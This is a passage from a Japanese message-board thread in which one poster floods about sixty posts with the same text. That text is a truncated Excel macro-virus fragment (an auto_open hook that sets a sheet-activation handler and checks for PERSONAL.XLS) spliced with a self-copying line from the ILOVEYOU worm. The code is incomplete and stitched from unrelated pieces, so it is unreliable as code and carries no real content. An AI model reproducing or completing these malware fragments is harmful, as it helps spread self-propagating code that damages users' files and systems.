If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

303 番組の途中ですが名無しです :2012/01/31(火) 17:13:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

304 番組の途中ですが名無しです :2012/01/31(火) 17:14:20 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

305 番組の途中ですが名無しです :2012/01/31(火) 17:14:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

306 番組の途中ですが名無しです :2012/01/31(火) 17:15:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

307 番組の途中ですが名無しです :2012/01/31(火) 17:15:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

308 番組の途中ですが名無しです :2012/01/31(火) 17:16:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

309 番組の途中ですが名無しです :2012/01/31(火) 17:16:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

310 番組の途中ですが名無しです :2012/01/31(火) 17:17:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

311 番組の途中ですが名無しです :2012/01/31(火) 17:17:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

312 番組の途中ですが名無しです :2012/01/31(火) 17:18:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

313 番組の途中ですが名無しです :2012/01/31(火) 17:19:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

314 番組の途中ですが名無しです :2012/01/31(火) 17:19:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

315 番組の途中ですが名無しです :2012/01/31(火) 17:20:04 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

316 番組の途中ですが名無しです :2012/01/31(火) 17:20:37 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

317 番組の途中ですが名無しです :2012/01/31(火) 17:21:08 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

318 番組の途中ですが名無しです :2012/01/31(火) 17:21:39 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

319 番組の途中ですが名無しです :2012/01/31(火) 17:22:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

320 番組の途中ですが名無しです :2012/01/31(火) 17:22:43 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

321 番組の途中ですが名無しです :2012/01/31(火) 17:23:14 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

322 番組の途中ですが名無しです :2012/01/31(火) 17:23:45 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

323 番組の途中ですが名無しです :2012/01/31(火) 17:24:16 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

324 番組の途中ですが名無しです :2012/01/31(火) 17:24:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

325 番組の途中ですが名無しです :2012/01/31(火) 17:25:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

326 番組の途中ですが名無しです :2012/01/31(火) 17:25:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

327 番組の途中ですが名無しです :2012/01/31(火) 17:26:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

328 番組の途中ですが名無しです :2012/01/31(火) 17:26:52 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

329 番組の途中ですが名無しです :2012/01/31(火) 17:27:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

330 番組の途中ですが名無しです :2012/01/31(火) 17:27:55 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

331 番組の途中ですが名無しです :2012/01/31(火) 17:28:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

332 番組の途中ですが名無しです :2012/01/31(火) 17:29:01 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

333 番組の途中ですが名無しです :2012/01/31(火) 17:29:32 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

334 番組の途中ですが名無しです :2012/01/31(火) 17:30:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

335 番組の途中ですが名無しです :2012/01/31(火) 17:30:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

336 番組の途中ですが名無しです :2012/01/31(火) 17:31:06 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

337 番組の途中ですが名無しです :2012/01/31(火) 17:31:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

338 番組の途中ですが名無しです :2012/01/31(火) 17:32:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

339 番組の途中ですが名無しです :2012/01/31(火) 17:32:39 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

340 番組の途中ですが名無しです :2012/01/31(火) 17:33:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

341 番組の途中ですが名無しです :2012/01/31(火) 17:33:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

342 番組の途中ですが名無しです :2012/01/31(火) 17:34:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

343 番組の途中ですが名無しです :2012/01/31(火) 17:34:43 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

344 番組の途中ですが名無しです :2012/01/31(火) 17:35:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

345 番組の途中ですが名無しです :2012/01/31(火) 17:35:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

346 番組の途中ですが名無しです :2012/01/31(火) 17:36:17 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

347 番組の途中ですが名無しです :2012/01/31(火) 17:36:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

348 番組の途中ですが名無しです :2012/01/31(火) 17:37:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

349 番組の途中ですが名無しです :2012/01/31(火) 17:37:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

350 番組の途中ですが名無しです :2012/01/31(火) 17:38:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

351 番組の途中ですが名無しです :2012/01/31(火) 17:38:53 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

352 番組の途中ですが名無しです :2012/01/31(火) 17:39:24 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

353 番組の途中ですが名無しです :2012/01/31(火) 17:39:55 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

354 番組の途中ですが名無しです :2012/01/31(火) 17:40:26 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

355 番組の途中ですが名無しです :2012/01/31(火) 17:40:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

356 番組の途中ですが名無しです :2012/01/31(火) 17:41:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

357 番組の途中ですが名無しです :2012/01/31(火) 17:42:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

358 番組の途中ですが名無しです :2012/01/31(火) 17:42:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

359 番組の途中ですが名無しです :2012/01/31(火) 17:43:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

360 番組の途中ですが名無しです :2012/01/31(火) 17:43:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

361 番組の途中ですが名無しです :2012/01/31(火) 17:44:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

362 番組の途中ですが名無しです :2012/01/31(火) 17:44:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

